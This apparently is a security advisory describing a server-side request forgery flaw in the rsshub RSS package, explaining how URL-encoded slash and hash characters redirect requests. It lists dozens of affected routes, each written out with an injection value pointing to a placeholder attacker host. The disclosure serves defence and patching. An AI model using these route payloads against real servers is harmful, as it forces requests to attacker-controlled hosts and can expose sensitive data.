Server-side Request Forgery (SSRF)
rsshub is a Make RSS Great Again!
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) such that an attacker can send a request to the affected routes with a malicious URL. For example, if an attacker controls the ATTACKER.HOST domain, they can send a request to affected routes with the value set to ATTACKER.HOST%2F%23.
The %2F and %23 characters are URL-encoded versions of the forward-slash (/) and pound (#) characters, respectively. In this context, an attacker could use those characters to append the base URL (i.e. https://${input}.defined.host) to be modified to https://ATTACKER.HOST/#.defined.host. This will cause the server to send a request to the attacker-controlled domain, allowing the attacker to potentially gain access to sensitive information or perform further attacks on the server.
Note: The following routes are affected by this vulnerability:
/19lou/ATTACKER.HOST%2F%23/foo/bandisoft/1/ATTACKER.HOST%2F%23/bendibao/news/ATTACKER.HOST%2F%23/bitbucket/commits/.* (special treatment, set the BITBUCKET_USERNAME environment value to ATTACKER.HOST%2F%23)/blogs/hedwig/ATTACKER.HOST%2F%23/booth.pm/shop/ATTACKER.HOST%2F%23/caixin/blog/ATTACKER.HOST%2F%23/cnjxol/ATTACKER.HOST%2F%23/dut/ATTACKER.HOST%2F%23/eagle/blog/ATTACKER.HOST%2F%23/engadget/ATTACKER.HOST%2F%23/fashionnetwork/headline/ATTACKER.HOST%2F%23/hello/foo/bar/gamme/ATTACKER.HOST%2F%23/gitlab/explore/foo/ATTACKER.HOST%2F%23/gumroad/ATTACKER.HOST%2F%23/foo/itch/devlog/ATTACKER.HOST%2F%23/1/javdb/tags/foo=bar?domain=ATTACKER.HOST/mastodon/account_id/ATTACKER.HOST/1/statuses/mastodon/remote/ATTACKER.HOST/mastodon/timeline/ATTACKER.HOST/mirror/ATTACKER.HOST%2F%23id (special treatment, should end with id)/people/ATTACKER.HOST%2F%23/pornhub/ATTACKER.HOST%2F%23/category_url/foo/pornhub/ATTACKER.HOST%2F%23/model/foo/pornhub/ATTACKER.HOST%2F%23/pornstar/foo/pornhub/ATTACKER.HOST%2F%23/users/foo/scitation/ATTACKER.HOST%2F%23/foo/solidot/ATTACKER.HOST%2F%23/touhougarakuta/ATTACKER.HOST%2F%23/foo/yahoo-news/ATTACKER.HOST%2F%23/zhubai/ATTACKER.HOST%2F%23/ziroom/room/ATTACKER.HOST%2F%23/hello/foo/bar
